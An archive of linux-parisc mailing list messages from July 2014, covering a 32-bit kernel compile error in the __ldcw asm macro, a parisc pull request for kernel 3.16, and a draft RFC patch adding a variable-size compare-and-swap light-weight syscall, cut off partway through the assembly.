>                 from /usr/src/linux-3.15.6-phoenix/arch/parisc/=20
> include/asm/bug.h:4,
>                 from include/linux/bug.h:4,
>                 from include/linux/thread_info.h:11,
>                 from include/asm-generic/preempt.h:4,
>                 from arch/parisc/include/generated/asm/preempt.h:1,
>                 from include/linux/preempt.h:18,
>                 from include/linux/spinlock.h:50,
>                 from include/linux/mmzone.h:7,
>                 from include/linux/gfp.h:5,
>                 from include/linux/slab.h:14,
>                 from kernel/signal.c:13:
> kernel/signal.c: In function =91get_signal_to_deliver=92:
> /usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2: =20
> error: can=92t find a register in class =91R1_REGS=92 while reloading=
 =91asm=92
>  __asm__ __volatile__(__LDCW " 0(%2),%0"   \
>  ^
> /usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:=20
> 26:9: note: in expansion of macro =91__ldcw=92
>  while (__ldcw(a) =3D=3D 0)
>         ^
> /usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2: =20
> error: =91asm=92 operand has impossible constraints
>  __asm__ __volatile__(__LDCW " 0(%2),%0"   \
>  ^
> /usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:=20
> 26:9: note: in expansion of macro =91__ldcw=92
>  while (__ldcw(a) =3D=3D 0)
>         ^
>
> As far as I can tell, it looks familiar :
> https://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D60925
> https://gcc.gnu.org/bugzilla/show_bug.cgi?id=3D35193
>
>
> Is the fix to modify the LDCW macro or fix gcc ?


There's not enough info to tell.  In general, arguments in an asm =20
can't overlap in register usage with
registers listed in the clobber list.  Because r1 may be needed to =20
reload an argument, the error can
occur as a result of optimization, etc.  In that case, the macro would =
=20
need fixing.

It would be helpful to see preprocessed source and full compile command=
=2E

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Compiling a 32bit kernel fails
Date: Fri, 25 Jul 2014 11:24:55 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <7908dab4bb5b426fff78ff508ba341ed@tuxicoman.be>
References: <828ecd1c2a7868e1f1ef7025f9f1e930@tuxicoman.be>
 <BLU436-SMTP252142D10893C7F99D610A697FF0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1406280328 10331 80.91.229.3 (25 Jul 2014 09:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2014 09:25:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-parisc-owner@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 11:25:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XAbkc-00051J-Ah
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Jul 2014 11:25:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751220AbaGYJZR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jul 2014 05:25:17 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:57164 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750818AbaGYJZQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jul 2014 05:25:16 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 25 Jul 2014 11:24:45 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XAbkF-0005OU-NK; Fri, 25 Jul 2014 11:24:55 +0200
In-Reply-To: <BLU436-SMTP252142D10893C7F99D610A697FF0@phx.gbl>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5959>



Hi JDA,


On 2014-07-24 15:19, John David Anglin wrote:
> On 24-Jul-14, at 7:39 AM, Guy Martin wrote:
>> Is the fix to modify the LDCW macro or fix gcc ?
>=20
>=20
> There's not enough info to tell.  In general, arguments in an asm
> can't overlap in register usage with
> registers listed in the clobber list.  Because r1 may be needed to
> reload an argument, the error can
> occur as a result of optimization, etc.  In that case, the macro woul=
d
>  need fixing.
>=20
> It would be helpful to see preprocessed source and full compile=20
> command.


This is the command being ran :

gcc -Wp,-MD,kernel/.signal.o.d  -nostdinc -isystem=20
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.8.3/include=20
-I/usr/src/linux-3.15.6-phoenix/arch/parisc/include=20
-Iarch/parisc/include/generated  -Iinclude=20
-I/usr/src/linux-3.15.6-phoenix/arch/parisc/include/uapi=20
-Iarch/parisc/include/generated/uapi=20
-I/usr/src/linux-3.15.6-phoenix/include/uapi -Iinclude/generated/uapi=20
-include /usr/src/linux-3.15.6-phoenix/include/linux/kconfig.h=20
-D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs=20
-fno-strict-aliasing -fno-common -Werror-implicit-function-declaration=20
-Wno-format-security -fno-delete-null-pointer-checks -O2 -pipe=20
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs=20
-ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wframe-larger-than=3D=
1024=20
-fno-stack-protector -Wno-unused-but-set-variable=20
-fno-omit-frame-pointer -fno-optimize-sibling-calls=20
-Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow=20
-fconserve-stack -Werror=3Dimplicit-int -Werror=3Dstrict-prototypes=20
-DCC_HAVE_ASM_GOTO    -D"KBUILD_STR(s)=3D#s"=20
-D"KBUILD_BASENAME=3DKBUILD_STR(signal)" =20
-D"KBUILD_MODNAME=3DKBUILD_STR(signal)" -c -o kernel/signal.o=20
kernel/signal.c

The preprocessed sources are here :
http://bpaste.net/show/498190/

The full config here :
http://bpaste.net/show/498196/


The error is still this :

kernel/signal.c: In function =E2=80=98get_signal_to_deliver=E2=80=99:
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2:=20
error: can=E2=80=99t find a register in class =E2=80=98R1_REGS=E2=80=99=
 while reloading =E2=80=98asm=E2=80=99
   __asm__ __volatile__(__LDCW " 0(%2),%0"   \
   ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:26:9:=20
note: in expansion of macro =E2=80=98__ldcw=E2=80=99
   while (__ldcw(a) =3D=3D 0)
          ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/ldcw.h:39:2:=20
error: =E2=80=98asm=E2=80=99 operand has impossible constraints
   __asm__ __volatile__(__LDCW " 0(%2),%0"   \
   ^
/usr/src/linux-3.15.6-phoenix/arch/parisc/include/asm/spinlock.h:26:9:=20
note: in expansion of macro =E2=80=98__ldcw=E2=80=99
   while (__ldcw(a) =3D=3D 0)



I tried to play a bit with the __ldcw macro but I still couldn't get it=
=20
to compile.


Regards,
   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v3.16
Date: Fri, 25 Jul 2014 22:11:26 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20140725201126.GA1381@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1406319105 23025 80.91.229.3 (25 Jul 2014 20:11:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2014 20:11:45 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 22:11:38 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XAlq5-0001aW-3Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Jul 2014 22:11:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753587AbaGYULg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jul 2014 16:11:36 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50562 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753010AbaGYULg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jul 2014 16:11:36 -0400
Original-Received: from p100.box ([84.173.15.119]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MdnN3-1WsOPF1f7F-00PbwG; Fri, 25 Jul 2014 22:11:28
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:M8IYG4NJK8J9rl8XLMx5ogkTVOnEV8aP7VEQtTlQxSJNKnzKTNj
 q4OOhQnAtf3v/MHvIOdE8I72N9TbTxjc3XSGT71zvRIXx6eAVWkVqc+D0Kv7LPGP8nHZg+1
 BzqIrEG6AGMaPO2UGGvWu2EseNUta33h5vyn/CedN87Ue+4f0/ow61Ka+YLgcGh3SXHmU4P
 Z746TTVfU4bLi/ta+mNpg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5960 gmane.linux.kernel:1756415
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5960>

Hi Linus,

please pull the latest parisc architecture fixes for kernel 3.16 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.16-6

We have two trivial patches in here. One removes the SA_RESTORER #define since
on parisc we don't have the sa_restorer field in struct sigaction, the other
patch removes an unnecessary memset(). The SA_RESTORER removal patch is
scheduled for stable trees, since without it some userspace apps don't build.
 
Thanks,
Helge

----------------------------------------------------------------
HIMANGI SARAOGI (1):
      parisc: Eliminate memset after alloc_bootmem_pages

John David Anglin (1):
      parisc: Remove SA_RESTORER define

 arch/parisc/include/uapi/asm/signal.h | 2 --
 arch/parisc/mm/init.c                 | 1 -
 2 files changed, 3 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC PATCHv2] 64bit LWS CAS
Date: Tue, 29 Jul 2014 21:13:34 +0200
Lines: 568
Approved: news@gmane.org
Message-ID: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/mSAcROvYiRceeOw_I3WU0V/"
X-Trace: ger.gmane.org 1406661244 8852 80.91.229.3 (29 Jul 2014 19:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2014 19:14:04 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 21:13:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XCCqT-0004xg-86
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Jul 2014 21:13:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751234AbaG2TN4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2014 15:13:56 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:54894 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751165AbaG2TNz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2014 15:13:55 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Tue, 29 Jul 2014 21:13:39 +0200
Original-Received: from borg.lux.tuxicoman.be ([2001:7e8:2221:300:224:8cff:fe0b:7d8e])
	by ibiza.lux.tuxicoman.be with esmtps (TLSv1.2:DHE-RSA-AES128-SHA:128)
	(Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XCCqC-0003rL-W2
	for linux-parisc@vger.kernel.org; Tue, 29 Jul 2014 21:13:41 +0200
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5962>

--MP_/mSAcROvYiRceeOw_I3WU0V/
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi all,

Following the discussion about broken CAS for size != 4, I took a new 
approach and implemented in a different way.

The new ABI takes the oldval, newval and mem as pointers plus a size 
parameter. This means that a single LWS can now handle all types of 
variable size.
Note that the 32bit CAS for 64bit size has not been tested (not even
compiled) since I can't compile a 32bit kernel a the moment.


My approach for 64bit CAS on 32bit is be the following :
  - Load old into 2 registers
  - Compare low and high part and bail out if different
  - Load new into a FPU register
  - Store the content of the FPU register to the memory

The point here being to do the store in the last step in a single 
instruction.
I think the same approach can be used for 128bit CAS as well but I
don't think it's needed at the moment.


Regading the GCC counterpart of the implementation, I'm not sure about 
the way to proceed.

Should I try to detect the presence of the new LWS and use it for all 
CAS operations at init time ?

So far I only used the new LWS for 64bit CAS.
I guess that using the new LWS unconditionally for all CAS operations 
isn't an option since it will break for newer gcc on old kernels.


Regards,
   Guy



--MP_/mSAcROvYiRceeOw_I3WU0V/
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=gcc-64bit-atomic-cas2.patch

--- libgcc/config/pa/linux-atomic.c	2011-11-02 15:23:48.000000000 +0000
+++ /root/gcc-trunk/libgcc/config/pa/linux-atomic.c	2014-07-29 16:05:21.932078161 +0000
@@ -1,5 +1,5 @@
 /* Linux-specific atomic operations for PA Linux.
-   Copyright (C) 2008, 2009, 2010 Free Software Foundation, Inc.
+   Copyright (C) 2008-2014 Free Software Foundation, Inc.
    Based on code contributed by CodeSourcery for ARM EABI Linux.
    Modifications for PA Linux by Helge Deller <deller@gmx.de>
 
@@ -75,6 +75,31 @@
   return lws_errno;
 }
 
+static inline long
+__kernel_cmpxchg2 (void * oldval, void * newval, void *mem, int val_size)
+{
+
+  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
+  register long lws_ret   asm("r28");
+  register long lws_errno asm("r21");
+  register unsigned long lws_old asm("r25") = (unsigned long) oldval;
+  register unsigned long lws_new asm("r24") = (unsigned long) newval;
+  register int lws_size asm("r23") = val_size;
+  asm volatile (	"ble	0xb0(%%sr2, %%r0)	\n\t"
+			"ldi	%2, %%r20		\n\t"
+	: "=r" (lws_ret), "=r" (lws_errno)
+	: "i" (2), "r" (lws_mem), "r" (lws_old), "r" (lws_new), "r" (lws_size)
+	: "r1", "r20", "r22", "r29", "r31", "fr4", "memory"
+  );
+  if (__builtin_expect (lws_errno == -EFAULT || lws_errno == -ENOSYS, 0))
+    ABORT_INSTRUCTION;
+
+  /* If the kernel LWS call fails, retrun EBUSY */
+  if (!lws_errno && lws_ret)
+    lws_errno = -EBUSY;
+
+  return lws_errno;
+}
 #define HIDDEN __attribute__ ((visibility ("hidden")))
 
 /* Big endian masks  */
@@ -84,6 +109,29 @@
 #define MASK_1 0xffu
 #define MASK_2 0xffffu
 
+#define FETCH_AND_OP_DWORD(OP, PFX_OP, INF_OP)					\
+  long long HIDDEN								\
+  __sync_fetch_and_##OP##_8 (long long *ptr, long long val)			\
+  {										\
+    long long tmp, newval;							\
+    int failure;								\
+										\
+    do {									\
+      tmp = *ptr;								\
+      newval = PFX_OP (tmp INF_OP val);						\
+      failure = __kernel_cmpxchg2 (&tmp, &newval, ptr, 3);			\
+    } while (failure != 0);							\
+										\
+    return tmp;									\
+  }
+
+FETCH_AND_OP_DWORD (add,   , +)
+FETCH_AND_OP_DWORD (sub,   , -)
+FETCH_AND_OP_DWORD (or,    , |)
+FETCH_AND_OP_DWORD (and,   , &)
+FETCH_AND_OP_DWORD (xor,   , ^)
+FETCH_AND_OP_DWORD (nand, ~, &)
+
 #define FETCH_AND_OP_WORD(OP, PFX_OP, INF_OP)				\
   int HIDDEN								\
   __sync_fetch_and_##OP##_4 (int *ptr, int val)				\
@@ -147,6 +195,29 @@
 SUBWORD_SYNC_OP (xor,   , ^, unsigned char, 1, oldval)
 SUBWORD_SYNC_OP (nand, ~, &, unsigned char, 1, oldval)
 
+#define OP_AND_FETCH_DWORD(OP, PFX_OP, INF_OP)					\
+  long long HIDDEN								\
+  __sync_##OP##_and_fetch_8 (long long *ptr, long long val)			\
+  {										\
+    long long tmp, newval;							\
+    int failure;								\
+										\
+    do {									\
+      tmp = *ptr;								\
+      newval = PFX_OP (tmp INF_OP val);						\
+      failure = __kernel_cmpxchg2 (&tmp, &newval, ptr, 3);			\
+    } while (failure != 0);							\
+										\
+    return PFX_OP (tmp INF_OP val);						\
+  }
+
+OP_AND_FETCH_DWORD (add,   , +)
+OP_AND_FETCH_DWORD (sub,   , -)
+OP_AND_FETCH_DWORD (or,    , |)
+OP_AND_FETCH_DWORD (and,   , &)
+OP_AND_FETCH_DWORD (xor,   , ^)
+OP_AND_FETCH_DWORD (nand, ~, &)
+
 #define OP_AND_FETCH_WORD(OP, PFX_OP, INF_OP)				\
   int HIDDEN								\
   __sync_##OP##_and_fetch_4 (int *ptr, int val)				\
@@ -182,6 +253,26 @@
 SUBWORD_SYNC_OP (xor,   , ^, unsigned char, 1, newval)
 SUBWORD_SYNC_OP (nand, ~, &, unsigned char, 1, newval)
 
+long long HIDDEN
+__sync_val_compare_and_swap_8 (long long *ptr, long long oldval, long long newval)
+{
+  long long actual_oldval;
+  int fail;
+    
+  while (1)
+    {
+      actual_oldval = *ptr;
+
+      if (__builtin_expect (oldval != actual_oldval, 0))
+	return actual_oldval;
+
+      fail = __kernel_cmpxchg2 (&actual_oldval, &newval, ptr, 3);
+  
+      if (__builtin_expect (!fail, 1))
+	return actual_oldval;
+    }
+}
+
 int HIDDEN
 __sync_val_compare_and_swap_4 (int *ptr, int oldval, int newval)
 {
@@ -256,6 +347,20 @@
 SUBWORD_BOOL_CAS (unsigned short, 2)
 SUBWORD_BOOL_CAS (unsigned char,  1)
 
+long long HIDDEN
+__sync_lock_test_and_set_8 (long long *ptr, long long val)
+{
+  long long oldval;
+  int failure;
+
+  do {
+    oldval = *ptr;
+    failure = __kernel_cmpxchg2 (&oldval, &val, ptr, 3);
+  } while (failure != 0);
+
+  return oldval;
+}
+
 int HIDDEN
 __sync_lock_test_and_set_4 (int *ptr, int val)
 {
@@ -293,13 +398,45 @@
 SUBWORD_TEST_AND_SET (unsigned short, 2)
 SUBWORD_TEST_AND_SET (unsigned char,  1)
 
+void HIDDEN
+__sync_lock_release_8 (int *ptr)
+{
+  long long failure, oldval, zero = 0;
+
+  do {
+    oldval = *ptr;
+    failure = __kernel_cmpxchg2 (&oldval, &zero, ptr, 3);
+  } while (failure != 0);
+}
+
+void HIDDEN
+__sync_lock_release_4 (int *ptr)
+{
+  int failure, oldval;
+
+  do {
+    oldval = *ptr;
+    failure = __kernel_cmpxchg (oldval, 0, ptr);
+  } while (failure != 0);
+}
+
 #define SYNC_LOCK_RELEASE(TYPE, WIDTH)					\
   void HIDDEN								\
   __sync_lock_release_##WIDTH (TYPE *ptr)				\
   {									\
-    *ptr = 0;								\
+    int failure;							\
+    unsigned int oldval, newval, shift, mask;				\
+    int *wordptr = (int *) ((unsigned long) ptr & ~3);			\
+									\
+    shift = (((unsigned long) ptr & 3) << 3) ^ INVERT_MASK_##WIDTH;	\
+    mask = MASK_##WIDTH << shift;					\
+									\
+    do {								\
+      oldval = *wordptr;						\
+      newval = oldval & ~mask;						\
+      failure = __kernel_cmpxchg (oldval, newval, wordptr);		\
+    } while (failure != 0);						\
   }
 
-SYNC_LOCK_RELEASE (int,   4)
 SYNC_LOCK_RELEASE (short, 2)
 SYNC_LOCK_RELEASE (char,  1)

--MP_/mSAcROvYiRceeOw_I3WU0V/
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=linux-hppa-atomic-cas2.patch

--- arch/parisc/kernel/syscall.S.orig	2014-06-08 20:19:54.000000000 +0200
+++ arch/parisc/kernel/syscall.S	2014-07-25 23:45:10.544853275 +0200
@@ -74,7 +74,7 @@
 	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
-#define __NR_lws_entries (2)
+#define __NR_lws_entries (3)
 
 lws_entry:
 	gate	lws_start, %r0		/* increase privilege */
@@ -502,7 +502,7 @@
 
 	
 	/***************************************************
-		Implementing CAS as an atomic operation:
+		Implementing 32bit CAS as an atomic operation:
 
 		%r26 - Address to examine
 		%r25 - Old value to check (old)
@@ -658,6 +658,274 @@
 	ASM_EXCEPTIONTABLE_ENTRY(1b-linux_gateway_page, 3b-linux_gateway_page)
 	ASM_EXCEPTIONTABLE_ENTRY(2b-linux_gateway_page, 3b-linux_gateway_page)
 
+	
+	/***************************************************
+		New CAS implementation which uses pointers and variable size information.
+		The value pointed by old and new MUST NOT change while performing CAS.
+		The lock only protect the value at %r26.
+
+		%r26 - Address to examine
+		%r25 - Pointer to the value to check (old)
+		%r24 - Pointer to the value to set (new)
+		%r23 - Size of the variable (8bit = 0, 16bit = 1, 32bit = 2, 64bit = 4)
+		%r28 - Return non-zero on failure
+		%r21 - Kernel error code
+
+		If debugging is DISabled:
+
+		%r21 has the following meanings:
+
+		EAGAIN - CAS is busy, ldcw failed, try again.
+		EFAULT - Read or write failed.		
+
+		If debugging is enabled:
+
+		EDEADLOCK - CAS called recursively.
+		EAGAIN && r28 == 1 - CAS is busy. Lock contended.
+		EAGAIN && r28 == 2 - CAS is busy. ldcw failed.
+		EFAULT - Read or write failed.
+
+		Scratch: r20, r22, r28, r29, r1, fr4 (32bit for 64bit CAS only)
+
+	****************************************************/
+
+	/* ELF32 Process entry path */
+lws_compare_and_swap_2:
+#ifdef CONFIG_64BIT
+	/* Clip the input registers */
+	depdi	0, 31, 32, %r26
+	depdi	0, 31, 32, %r25
+	depdi	0, 31, 32, %r24
+	depdi	0, 31, 32, %r23
+#endif
+
+	/* Check the validity of the size pointer */
+	subi,>>= 4, %r23, %r0
+	b,n	lws_exit_nosys
+
+	/* Jump to the functions which will load the old and new values into
+	   registers depending on the their size */
+	shlw	%r23, 2, %r29
+	blr	%r29, %r0
+	nop
+
+	/* 8bit load */
+4:	ldb	0(%sr3,%r25), %r25
+	b	cas2_lock_start
+5:	ldb	0(%sr3,%r24), %r24
+	nop
+	nop
+	nop
+	nop
+	nop
+
+	/* 16bit load */
+6:	ldh	0(%sr3,%r25), %r25
+	b	cas2_lock_start
+7:	ldh	0(%sr3,%r24), %r24
+	nop
+	nop
+	nop
+	nop
+	nop
+
+	/* 32bit load */
+8:	ldw	0(%sr3,%r25), %r25
+	b	cas2_lock_start
+9:	ldw	0(%sr3,%r24), %r24
+	nop
+	nop
+	nop
+	nop
+	nop
+
+	/* 64bit load */
+#ifdef CONFIG_64BIT
+10:	ldd	0(%sr3,%r25), %r25
+11:	ldd	0(%sr3,%r24), %r24
+#else
+	/* Load new value into r22/r23 - high/low */
+10:	ldw	0(%sr3,%r25), %r22
+11:	ldw	4(%sr3,%r25), %r23
+#endif
+
+cas2_lock_start:
+	/* Load start of lock table */
+	ldil	L%lws_lock_start, %r20
+	ldo	R%lws_lock_start(%r20), %r28
+
+	/* Extract four bits from r26 and hash lock (Bits 4-7) */
+	extru  %r26, 27, 4, %r20
+
+	/* Find lock to use, the hash is either one of 0 to
+	   15, multiplied by 16 (keep it 16-byte aligned)
+	   and add to the lock table offset. */
+	shlw	%r20, 4, %r20
+	add	%r20, %r28, %r20
+
+# if ENABLE_LWS_DEBUG
+	/*	
+		DEBUG, check for deadlock! 
+		If the thread register values are the same
+		then we were the one that locked it last and
+		this is a recurisve call that will deadlock.
+		We *must* giveup this call and fail.
+	*/
+	ldw	4(%sr2,%r20), %r28			/* Load thread register */
+	/* WARNING: If cr27 cycles to the same value we have problems */
+	mfctl	%cr27, %r21				/* Get current thread register */
+	cmpb,<>,n	%r21, %r28, cas2_lock	/* Called recursive? */
+	b	lws_exit				/* Return error! */
+	ldo	-EDEADLOCK(%r0), %r21
+cas2_lock:
+	cmpb,=,n	%r0, %r28, cas2_nocontend /* Is nobody using it? */
+	ldo	1(%r0), %r28				/* 1st case */
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+cas2_nocontend:
+# endif
+/* ENABLE_LWS_DEBUG */
+
+	rsm	PSW_SM_I, %r0				/* Disable interrupts */
+	/* COW breaks can cause contention on UP systems */
+	LDCW	0(%sr2,%r20), %r28			/* Try to acquire the lock */
+	cmpb,<>,n	%r0, %r28, cas2_action	/* Did we get it? */
+cas2_wouldblock:
+	ldo	2(%r0), %r28				/* 2nd case */
+	ssm	PSW_SM_I, %r0
+	b	lws_exit				/* Contended... */
+	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
+
+	/*
+		prev = *addr;
+		if ( prev == old )
+		  *addr = new;
+		return prev;
+	*/
+
+	/* NOTES:
+		This all works becuse intr_do_signal
+		and schedule both check the return iasq
+		and see that we are on the kernel page
+		so this process is never scheduled off
+		or is ever sent any signal of any sort,
+		thus it is wholly atomic from usrspaces
+		perspective
+	*/
+cas2_action:
+#if defined CONFIG_SMP && ENABLE_LWS_DEBUG
+	/* DEBUG */
+	mfctl	%cr27, %r1
+	stw	%r1, 4(%sr2,%r20)
+#endif
+
+	/* Jump to the correct function */
+	blr	%r29, %r0
+	/* Set %r28 as non-zero for now */
+	ldo	1(%r0),%r28
+
+	/* 8bit CAS */
+12:	ldb,ma	0(%sr3,%r26), %r29
+	sub,=	%r29, %r25, %r0
+	b,n	cas2_end
+13:	stb,ma	%r24, 0(%sr3,%r26)
+	b	cas2_end
+	copy	%r0, %r28
+	nop
+	nop
+
+	/* 16bit CAS */
+14:	ldh,ma	0(%sr3,%r26), %r29
+	sub,=	%r29, %r25, %r0
+	b,n	cas2_end
+15:	sth,ma	%r24, 0(%sr3,%r26)
+	b	cas2_end
+	copy	%r0, %r28
+	nop
+	nop
+
+	/* 32bit CAS */
+16:	ldw,ma	0(%sr3,%r26), %r29
+	sub,=	%r29, %r25, %r0
+	b,n	cas2_end
+17:	stw,ma	%r24, 0(%sr3,%r26)
+	b	cas2_end
+	copy	%r0, %r28
+	nop
+	nop
+
+	/* 64bit CAS */
+#ifdef CONFIG_64BIT
+18:	ldd,ma	0(%sr3,%r26), %r29
+	sub,=	%r29, %r25, %r0
